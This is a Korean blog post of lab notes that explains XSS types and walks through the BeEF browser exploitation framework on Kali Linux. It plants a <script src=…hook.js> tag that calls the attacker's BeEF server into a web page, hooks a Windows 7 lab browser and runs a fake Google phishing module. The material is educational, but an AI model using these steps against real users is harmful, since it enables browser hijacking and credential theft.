본문 바로가기

Learning/└◆Security Section

[메타스플로잇]Metasploit_BeEF

 

 

Metasploit을 활용한 정보수집

[실습] 칼리 리눅스 사용하기 9

 BeEF(비프) XSS 프레임워크 - 사용자 권한 획득

 

BeEF(Browser Exploit Framwork)

사용자 웹 브라우저로 웹페이지를 읽을 때 자바 스크립트 형태로 동작하며, 사용자 PC의 정보 수집 부터

메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구이다.

 

XSS(Cross Side Script) 취약점

웹에서 사용하는 클라이언트 스크립트인 자바스크립트, VB 스크립트, CSS, 에이젝스(Ajax)등을 통해

스크립트에 접근한 사용자들에 특정한 액션을 일으키게 하는 것을 의미한다.

특정한 액셕이라는 것은 악성 코드 유포나, , 바이러스 배포등이 보통의 목적이다.

또한 사용자 정보를 수집할 수도 있다.


최근방식은 코드를 넘겨서 서버가 모두 부담하는게 아닌 클라이언트에서 실행하여 부담감을 줄이는 방법


코드를 상대편에게 넘기면서 취약점이 발생할 수 있다. 내부에 있는 


코드이기 때문에 사용자가 속수무책으로 당할수 있다.


페이지를 보기만 하는 것으로 프로그램이 실행된다면 굉장히 위험, 모르는 사이에 상대편이 내 PC를 제어할 수 있다.

 

XSS 취약점(웹 애플리케이션의 모든 변수 입력값에 대한 테스트)의 분류

(첫번째) Non-persistent(Reflected XSS)이메일, 메신저, 게시판 링크 기능등을 이용해 사용자를 유도하고, 사용자가 이를 클릭했을 경우 액션이 발생된다. 하지만 웹사이트에 저장이 되어 있지 않기 때문에 사용자들을 유도하려면 사용자의 클릭이 필요하다.

시이트에 접속했을때 꼭 클릭이 해야만 설치 되는것.


(두번째) Persistent(Stored XSS) 게시판 작성자, 제목, 내용 부분등 공격자가 삽입할 수 있는 모든 부분에 스크립트를 삽입해 사용자를 유도하는 공격 기법이다. 보통 웹사이트(데이터베이스에 저장)에 남아 있기 때문에 많은 사용자들을 쉽게 유도할 수 있다.

사이트에 접속만 해도 감염,저장방식(영구적)

 

 

Exploitation Tools

> BeFF XSS Framework

> beff

 

or

 

# beef-xss

 

 

 

# beef-xss

 

[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
[*] UI URL: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

beef-xss 명령어를 수행하면 웹페이지가 자동으로 뜨게 된다.

 

(http://127.0.0.1:3000/ui/authentication)

ID : beef

PASS: beef

 

접근할 페이지 임의로 생성

# service apache2 restart

[ ok ] Restarting web server: apache2 ... waiting .

# service  apache2 restart
1481355772202 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https."  nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)"  location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145"  data: no]

 이런식의 오류가 나올때.

/var/www/html/index.html 에 scripts 설정에 주소를 잘 확인한다.

Apache + SSL 설정

# a2enmod ssl

관련자료 : http://hyess.tistory.com/179

 


# cd /var/www/html/

# rm -rf /var/www/html/*

# vi index.html   기본적인 사이트를 직접 구성한다

<script src="http://192.168.20.50:3000/hook.js"></script>

이 프로그램을 실행하기 위해 요청, 상대편은 이 IP/Port를 Beef로 제어하게 된다.

-> <script> .... </script> 구문을 삽입한다.

-> 클라이언트에서 해당 페이지를 읽을 때 hook.js가 실행된다.

 

 

(windows 7)

Mozilla Firefox 브라우저를 사용한다.

http://192.168.20.50

-> 페이지를 확인한다.

 

(주의) Chrome Broswer/Firefox 통해 확인, '인터넷익스플러워'는 잘되지 않는다.

-> 클라이언트에서는 hook.js 파일이 실행 되었는지는 모른다.

 

소스보기

<F11><F12>

엉뚱한 스크립트가 들어있다.

 

(Kali Linux)

BeEF Control Panel

왼쪽 Hooked Browsers 메뉴을 확인하면 사용자의 IP 정보가 보인다.

 

왼쪽 Hooked Browsers 에서 192.168.20.202 선택한다.

오른쪽 commands 항목 중 Module Tree 선택하고

Social Engineering 선택

Google Phishing 선택

Execute 버튼 클릭



 






 










 

(windows7)

변경된 웹페이지를 확인한다.

 

 

URL이 Google이 아닌 Fake Site에 접속되어 프로그램을 제어할 수 있다.